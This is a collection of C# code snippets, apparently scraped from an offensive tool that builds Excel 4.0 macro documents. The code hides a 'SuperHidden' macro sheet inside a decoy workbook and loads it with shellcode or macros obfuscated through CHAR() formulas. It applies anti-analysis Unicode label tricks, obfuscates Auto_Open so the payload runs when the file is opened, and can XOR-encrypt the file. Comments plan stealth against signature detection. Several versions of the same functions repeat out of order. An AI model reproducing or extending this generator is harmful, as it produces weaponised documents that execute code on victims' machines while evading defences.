Beispiel #1
0
        private static List <Formula> GetCharFormulasForString(string str, int curRow, int curCol,
                                                               SheetPackingMethod packingMethod)
        {
            List <Formula> charFormulas = new List <Formula>();

            if (packingMethod == SheetPackingMethod.ArgumentSubroutines)
            {
                Formula macroFormula = ConvertStringToMacroFormula(str, curRow, curCol);
                charFormulas.Add(macroFormula);
            }
            else
            {
                foreach (char c in str)
                {
                    Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);

                    ushort charValue = Convert.ToUInt16(c);
                    if (charValue > 0xFF)
                    {
                        ptgStack = new Stack <AbstractPtg>();
                        ptgStack.Push(new PtgStr("" + c, true));
                    }
                    Cell    curCell      = new Cell(curRow, curCol);
                    Formula charFrm      = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
                    byte[]  formulaBytes = charFrm.GetBytes();
                    charFormulas.Add(charFrm);
                    curRow += 1;
                }
            }

            return(charFormulas);
        }
Beispiel #2
0
        public static Stack <AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod)
        {
            switch (packingMethod)
            {
            case SheetPackingMethod.ObfuscatedCharFunc:
                return(GetObfuscatedCharPtgForInt(Convert.ToUInt16(c)));

            case SheetPackingMethod.ObfuscatedCharFuncAlt:
                return(GetCharPtgForInt(Convert.ToUInt16(c)));

            case SheetPackingMethod.CharSubroutine:
                //For now assume the appropriate label is at offset 1 (first lbl record)
                return(GetCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, 1));

            case SheetPackingMethod.AntiAnalysisCharSubroutine:
                //For now assume the appropriate label is at offset 1 (first lbl record)
                return(GetAntiAnalysisCharSubroutineForInt(Convert.ToUInt16(c), UnicodeHelper.VarName, UnicodeHelper.DecoyVarName, 1));

            case SheetPackingMethod.ArgumentSubroutines:
                //For now assume the appropriate label is at offset 1 (first lbl record)
                return(GetCharSubroutineWithArgsForInt(Convert.ToUInt16(c), 1));

            default:
                throw new NotImplementedException();
            }
        }
Beispiel #3
0
        public WorkbookStream SetMacroBinaryContent(byte[] payload, int rwStart, int colStart, int dstRwStart,
                                                    int dstColStart, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc,
                                                    PayloadPackingMethod payloadPackingMethod         = PayloadPackingMethod.MatchSheetPackingMethod)
        {
            List <string>     payloadMacros;
            List <BiffRecord> formulasToAdd = new List <BiffRecord>();

            if (payloadPackingMethod == PayloadPackingMethod.MatchSheetPackingMethod)
            {
                payloadMacros = FormulaHelper.BuildPayloadMacros(payload);
                formulasToAdd.AddRange(FormulaHelper.ConvertStringsToRecords(payloadMacros, rwStart, colStart,
                                                                             dstRwStart, dstColStart, 15, packingMethod));
            }
            else if (payloadPackingMethod == PayloadPackingMethod.Base64)
            {
                payloadMacros = FormulaHelper.BuildBase64PayloadMacros(payload);
                formulasToAdd = FormulaHelper.ConvertBase64StringsToRecords(payloadMacros, rwStart, colStart);
            }

            WorkbookStream macroStream = GetMacroStream();

            try
            {
                BiffRecord lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
                // If we are using base64 packing, we write STRING entries after our formulas, so check for that first
                if (payloadPackingMethod == PayloadPackingMethod.Base64)
                {
                    try
                    {
                        lastFormulaInSheet = macroStream.GetAllRecordsByType <STRING>().Last();
                    }
                    catch
                    {
                        lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
                    }
                }
                WorkbookStream modifiedStream = WbStream.InsertRecords(formulasToAdd, lastFormulaInSheet);
                WbStream = modifiedStream;
                return(modifiedStream);
            }
            catch (Exception)
            {
                throw new ArgumentException(
                          "SetMacroBinaryContent must be called on a stream with at least 1 existing Formula Record");
            }
        }
Beispiel #4
0
        public static Stack <AbstractPtg> GetPtgStackForChar(char c, SheetPackingMethod packingMethod)
        {
            switch (packingMethod)
            {
            case SheetPackingMethod.ObfuscatedCharFunc:
                return(GetObfuscatedCharPtgForInt(Convert.ToUInt16(c)));

            case SheetPackingMethod.ObfuscatedCharFuncAlt:
                return(GetCharPtgForInt(Convert.ToUInt16(c)));

            case SheetPackingMethod.CharSubroutine:
                //For now assume that the var name "var" is used, and the appropriate label is at offset 1 (first lbl record)
                return(GetCharSubroutineForInt(Convert.ToUInt16(c), "var", 1));

            default:
                throw new NotImplementedException();
            }
        }
Beispiel #5
0
        public WorkbookStream SetMacroBinaryContent(byte[] payload, int rwStart, int colStart, int dstRwStart,
                                                    int dstColStart, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            List <string>     payloadMacros = FormulaHelper.BuildPayloadMacros(payload);
            List <BiffRecord> formulasToAdd = new List <BiffRecord>();

            formulasToAdd.AddRange(FormulaHelper.ConvertStringsToRecords(payloadMacros, rwStart, colStart, dstRwStart, dstColStart, 15, packingMethod));

            WorkbookStream macroStream = GetMacroStream();

            try
            {
                BiffRecord     lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
                WorkbookStream modifiedStream     = WbStream.InsertRecords(formulasToAdd, lastFormulaInSheet);
                WbStream = modifiedStream;
                return(modifiedStream);
            }
            catch (Exception)
            {
                throw new ArgumentException(
                          "SetMacroBinaryContent must be called on a stream with at least 1 existing Formula Record");
            }
        }
Beispiel #6
0
        public static List <BiffRecord> ConvertChunkedStringToFormulas(List <string> chunkedString, int rwStart, int colStart, int dstRw,
                                                                       int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            List <BiffRecord> formulaList = new List <BiffRecord>();

            List <Cell> concatCells = new List <Cell>();

            int curRow = rwStart;
            int curCol = colStart;

            foreach (string str in chunkedString)
            {
                List <Cell> createdCells = new List <Cell>();

                //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature
                foreach (char c in str)
                {
                    Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);

                    ushort charValue = Convert.ToUInt16(c);
                    if (charValue > 0xFF)
                    {
                        ptgStack = new Stack <AbstractPtg>();
                        ptgStack.Push(new PtgStr("" + c, true));
                    }
                    Cell curCell = new Cell(curRow, curCol, ixfe);
                    createdCells.Add(curCell);
                    Formula charFrm      = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
                    byte[]  formulaBytes = charFrm.GetBytes();
                    formulaList.Add(charFrm);
                    curRow += 1;
                }

                Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);
                concatCells.Add(new Cell(curRow, curCol, ixfe));
                formulaList.Add(concatFormula);
                curRow += 1;
            }

            Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol);

            formulaList.Add(concatConcatFormula);
            curRow += 1;

            Stack <AbstractPtg> formulaPtgStack = new Stack <AbstractPtg>();

            PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);

            formulaPtgStack.Push(srcCell);

            Random r = new Random();
            int    randomBitStuffing = r.Next(1, 32) * 0x100;

            PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);

            formulaPtgStack.Push(destCell);

            PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2);

            formulaPtgStack.Push(funcVar);

            Formula formula = new Formula(new Cell(curRow, curCol, ixfe), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack));

            formulaList.Add(formula);

            return(formulaList);
        }
Beispiel #7
0
        public static List <BiffRecord> ConvertMaxLengthStringToFormulas(string curString, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            string actualString =
                new string(curString.Skip(FormulaHelper.TOOLONGMARKER.Length).ToArray());

            string            earlyString     = new string(actualString.Take(16).ToArray());
            string            remainingString = new string(actualString.Skip(16).ToArray());
            List <BiffRecord> formulas        = new List <BiffRecord>();

            int curRow = rwStart;
            int curCol = colStart;


            Random r      = new Random();
            int    rndCol = r.Next(0x90, 0x9F);
            int    rndRw  = r.Next(0xF000, 0xF800);

            formulas.AddRange(ConvertStringToFormulas(remainingString, curRow, curCol, rndRw, rndCol, ixfe, packingMethod));

            curRow += formulas.Count;

            Cell        remainderCell = new Cell(rndRw, rndCol);
            List <Cell> createdCells  = new List <Cell>();

            //Create a formula string like
            //"=CHAR(123)&CHAR(234)&CHAR(345)&R[RandomRw]C[RandomCol]";
            //To split the 255 bytes into multiple cells - the first few bytes are CHAR() encoded, the remaining can be wrapped in ""s
            string macroString = "=";

            foreach (char c in earlyString)
            {
                macroString += string.Format("CHAR({0})&", Convert.ToUInt16(c));
            }
            macroString += string.Format("R{0}C{1}", rndRw + 1, rndCol + 1);
            createdCells.Add(remainderCell);

            List <BiffRecord> mainFormula = ConvertStringToFormulas(macroString, curRow, curCol, dstRw, dstCol, ixfe, packingMethod);

            formulas.AddRange(mainFormula);

            return(formulas);
        }
Beispiel #8
0
        public static List <BiffRecord> ConvertStringsToRecords(List <string> strings, int rwStart, int colStart, int dstRwStart, int dstColStart,
                                                                int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            List <BiffRecord> formulaList = new List <BiffRecord>();

            int curRow = rwStart;
            int curCol = colStart;

            int dstCurRow = dstRwStart;
            int dstCurCol = dstColStart;

            //TODO [Anti-Analysis] Break generated formula apart with different RUN()/GOTO() actions
            foreach (string str in strings)
            {
                string[]          rowStrings     = str.Split(MacroPatterns.MacroColumnSeparator);
                List <BiffRecord> stringFormulas = new List <BiffRecord>();
                for (int colOffset = 0; colOffset < rowStrings.Length; colOffset += 1)
                {
                    //Skip empty strings
                    if (rowStrings[colOffset].Trim().Length == 0)
                    {
                        continue;
                    }

                    string rowString = rowStrings[colOffset];

                    int maxCellLength = 0x2000;
                    //One Char can take up to 8 bytes
                    int concatCharLength = 8;

                    List <BiffRecord> formulas;

                    if ((rowString.Length * concatCharLength) > maxCellLength)
                    {
                        //Given that the max actual length for a cell is 255 bytes, this is unlikely to ever be used,
                        //but the logic is being kept in case there are edge cases or there ends up being a workaround
                        //for the limitation
                        List <string> chunks = rowString.SplitStringIntoChunks(250);
                        formulas = ConvertChunkedStringToFormulas(chunks, curRow, curCol, dstCurRow, dstCurCol, ixfe, packingMethod);
                    }
                    else
                    {
                        string curString = rowStrings[colOffset];

                        //If the string is technically 255 bytes, but needs additional encoding, we break it into two parts:
                        //ex: "=123456" becomes "=CHAR(=)&CHAR(1)&CHAR(2)&CHAR(3)&RandomCell" and =RandomVarName&"456"
                        if (curString.StartsWith(FormulaHelper.TOOLONGMARKER))
                        {
                            formulas = ConvertMaxLengthStringToFormulas(curString, curRow, curCol, dstCurRow,
                                                                        dstCurCol + colOffset, ixfe, packingMethod);
                        }
                        else
                        {
                            formulas = ConvertStringToFormulas(rowStrings[colOffset], curRow, curCol, dstCurRow, dstCurCol + colOffset, ixfe, packingMethod);
                        }
                    }

                    stringFormulas.AddRange(formulas);

                    //If we're starting to get close to the max rowcount (0xFFFF in XLS), then move to the next row
                    if (curRow > 0xE000)
                    {
                        Formula nextRowFormula = FormulaHelper.GetGotoFormulaForCell(curRow + formulas.Count, curCol, 0, curCol + 1);
                        stringFormulas.Add(nextRowFormula);

                        curRow  = 0;
                        curCol += 1;
                    }
                    else
                    {
                        curRow += formulas.Count;
                    }
                }

                dstCurRow += 1;

                formulaList.AddRange(stringFormulas);
            }

            return(formulaList);
        }
Beispiel #9
0
        private static List <BiffRecord> BuildFORMULAFunctionCall(List <Cell> createdCells, int curRow, int curCol, int dstRw, int dstCol, SheetPackingMethod packingMethod, bool instaEval)
        {
            List <BiffRecord> formulaList = new List <BiffRecord>();

            Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);

            formulaList.Add(concatFormula);
            curRow += 1;

            PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);

            Random r = new Random();
            int    randomBitStuffing = r.Next(1, 32) * 0x100;

            PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);

            Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval);

            formulaList.Add(formula);

            return(formulaList);
        }
Beispiel #10
0
        private static Formula GetFormulaInvocation(PtgRef srcCell, PtgRef destCell, int curRow, int curCol, SheetPackingMethod packingMethod, bool instaEval)
        {
            Stack <AbstractPtg> formulaPtgStack = new Stack <AbstractPtg>();

            if (packingMethod == SheetPackingMethod.ArgumentSubroutines)
            {
                if (instaEval == false)
                {
                    // The Formula Call is currently hardcoded to index 2
                    formulaPtgStack.Push(new PtgName(2));
                }
                else
                {
                    // The Instant Evaluation Formula Call is currently hardcoded to index 6
                    formulaPtgStack.Push(new PtgName(6));
                }
            }

            formulaPtgStack.Push(srcCell);
            formulaPtgStack.Push(destCell);

            if (packingMethod == SheetPackingMethod.ArgumentSubroutines)
            {
                PtgFuncVar funcVar = new PtgFuncVar(FtabValues.USERDEFINEDFUNCTION, 3, AbstractPtg.PtgDataType.VALUE);
                formulaPtgStack.Push(funcVar);
            }
            else
            {
                PtgFuncVar funcVar = new PtgFuncVar(CetabValues.FORMULA, 2);
                formulaPtgStack.Push(funcVar);
            }

            Formula formula = new Formula(new Cell(curRow, curCol), FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(formulaPtgStack));

            return(formula);
        }
Beispiel #11
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc)
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();

            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs          = LoadDecoyDocument(decoyDocPath);
            List <string>  preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            if (wbs.GetAllRecordsByType <SupBook>().Count > 0)
            {
                throw new NotImplementedException("Please use a decoy document with no existing Labels.");
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }
            }
            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            if (method == SheetPackingMethod.CharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);
                wbe.AddLabel("\u0000\u0000\u0000\u0000\u0000\u0000var", null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2));
            }

            wbe.AddLabel("Auto_Open", rwStart, colStart);

            wbe.ObfuscateAutoOpen();

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, wbe.WbStream);
        }
Beispiel #12
0
        private static List <BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            List <BiffRecord> formulaList  = new List <BiffRecord>();
            List <Cell>       createdCells = new List <Cell>();

            int curRow = rwStart;
            int curCol = colStart;

            bool instaEval = false;

            if (str.StartsWith(MacroPatterns.InstaEvalMacroPrefix))
            {
                if (packingMethod != SheetPackingMethod.ArgumentSubroutines)
                {
                    throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval");
                }
                instaEval = true;
                str       = str.Replace(MacroPatterns.InstaEvalMacroPrefix, "");
            }


            List <Formula> charFormulas = GetCharFormulasForString(str, curRow, curCol, packingMethod);

            formulaList.AddRange(charFormulas);
            curRow      += charFormulas.Count;
            createdCells = charFormulas.Select(formula => new Cell(formula.rw, formula.col, ixfe)).ToList();

            List <BiffRecord> formulaInvocationRecords =
                BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol, packingMethod, instaEval);

            formulaList.AddRange(formulaInvocationRecords);

            return(formulaList);
        }
Beispiel #13
0
        public static List <BiffRecord> ConvertChunkedStringToFormulas(List <string> chunkedString, int rwStart, int colStart, int dstRw,
                                                                       int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            bool instaEval = false;

            if (chunkedString[0].StartsWith(MacroPatterns.InstaEvalMacroPrefix))
            {
                if (packingMethod != SheetPackingMethod.ArgumentSubroutines)
                {
                    throw new NotImplementedException("Must use ArgumentSubroutines Sheet Packing for InstaEval");
                }
                instaEval        = true;
                chunkedString[0] = chunkedString[0].Replace(MacroPatterns.InstaEvalMacroPrefix, "");
            }

            List <BiffRecord> formulaList = new List <BiffRecord>();

            List <Cell> concatCells = new List <Cell>();

            int curRow = rwStart;
            int curCol = colStart;

            foreach (string str in chunkedString)
            {
                List <Cell> createdCells = new List <Cell>();

                //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature
                foreach (char c in str)
                {
                    Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);

                    ushort charValue = Convert.ToUInt16(c);
                    if (charValue > 0xFF)
                    {
                        ptgStack = new Stack <AbstractPtg>();
                        ptgStack.Push(new PtgStr("" + c, true));
                    }
                    Cell curCell = new Cell(curRow, curCol, ixfe);
                    createdCells.Add(curCell);
                    Formula charFrm      = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
                    byte[]  formulaBytes = charFrm.GetBytes();
                    formulaList.Add(charFrm);
                    curRow += 1;
                }

                Formula concatFormula = BuildConcatCellsFormula(createdCells, curRow, curCol);
                concatCells.Add(new Cell(curRow, curCol, ixfe));
                formulaList.Add(concatFormula);
                curRow += 1;
            }

            Formula concatConcatFormula = BuildConcatCellsFormula(concatCells, curRow, curCol);

            formulaList.Add(concatConcatFormula);
            curRow += 1;

            PtgRef srcCell = new PtgRef(curRow - 1, curCol, false, false, AbstractPtg.PtgDataType.VALUE);

            Random r = new Random();
            int    randomBitStuffing = r.Next(1, 32) * 0x100;

            PtgRef destCell = new PtgRef(dstRw, dstCol + randomBitStuffing, false, false);

            Formula formula = GetFormulaInvocation(srcCell, destCell, curRow, curCol, packingMethod, instaEval);

            formulaList.Add(formula);

            return(formulaList);
        }
Beispiel #14
0
        public WorkbookStream SetMacroSheetContent(List <string> macroStrings, int rwStart = 0, int colStart = 0, int dstRwStart = 0, int dstColStart = 0, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            WorkbookStream macroStream = GetMacroStream();

            //The macro sheet template contains a single formula record to replace
            Formula replaceMeFormula = macroStream.GetAllRecordsByType <Formula>().First();

            //ixfe default cell value is 15
            List <BiffRecord> formulasToAdd = FormulaHelper.ConvertStringsToRecords(macroStrings, rwStart, colStart, dstRwStart, dstColStart, 15, packingMethod);

            int lastGotoCol = formulasToAdd.Last().AsRecordType <Formula>().col;
            int lastGotoRow = formulasToAdd.Last().AsRecordType <Formula>().rw + 1;

            Formula        gotoFormula    = FormulaHelper.GetGotoFormulaForCell(lastGotoRow, lastGotoCol, dstRwStart, dstColStart);
            WorkbookStream modifiedStream = WbStream.ReplaceRecord(replaceMeFormula, gotoFormula);

            modifiedStream = modifiedStream.InsertRecords(formulasToAdd, gotoFormula);

            WbStream = modifiedStream;
            return(WbStream);
        }
Beispiel #15
0
        private static List <BiffRecord> ConvertStringToFormulas(string str, int rwStart, int colStart, int dstRw, int dstCol, int ixfe = 15, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc)
        {
            List <BiffRecord> formulaList  = new List <BiffRecord>();
            List <Cell>       createdCells = new List <Cell>();

            int curRow = rwStart;
            int curCol = colStart;

            //TODO [Stealth] Perform additional operations to obfuscate static =CHAR(#) signature
            foreach (char c in str)
            {
                Stack <AbstractPtg> ptgStack = GetPtgStackForChar(c, packingMethod);

                ushort charValue = Convert.ToUInt16(c);
                if (charValue > 0xFF)
                {
                    ptgStack = new Stack <AbstractPtg>();
                    ptgStack.Push(new PtgStr("" + c, true));
                }
                Cell curCell = new Cell(curRow, curCol, ixfe);
                createdCells.Add(curCell);
                Formula charFrm      = new Formula(curCell, FormulaValue.GetEmptyStringFormulaValue(), true, new CellParsedFormula(ptgStack));
                byte[]  formulaBytes = charFrm.GetBytes();
                formulaList.Add(charFrm);
                curRow += 1;
            }

            List <BiffRecord> formulaInvocationRecords =
                BuildFORMULAFunctionCall(createdCells, curRow, curCol, dstRw, dstCol);

            formulaList.AddRange(formulaInvocationRecords);

            return(formulaList);
        }
Beispiel #16
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, string password = "")
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();


            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs          = LoadDecoyDocument(decoyDocPath);
            List <string>  preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            if (wbs.GetAllRecordsByType <SupBook>().Count > 0)
            {
                throw new NotImplementedException("Please use a decoy document with no existing Labels.");
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }
            }
            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2));
            }

            wbe.AddLabel("Auto_Open", rwStart, colStart);

            wbe.ObfuscateAutoOpen();

            WorkbookStream createdWorkbook = wbe.WbStream;

            if (!string.IsNullOrEmpty(password))
            {
                Console.WriteLine("Encrypting Document with Password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
                // createdWorkbook = createdWorkbook.FixBoundSheetOffsets();
            }

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, createdWorkbook);
        }
Beispiel #17
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
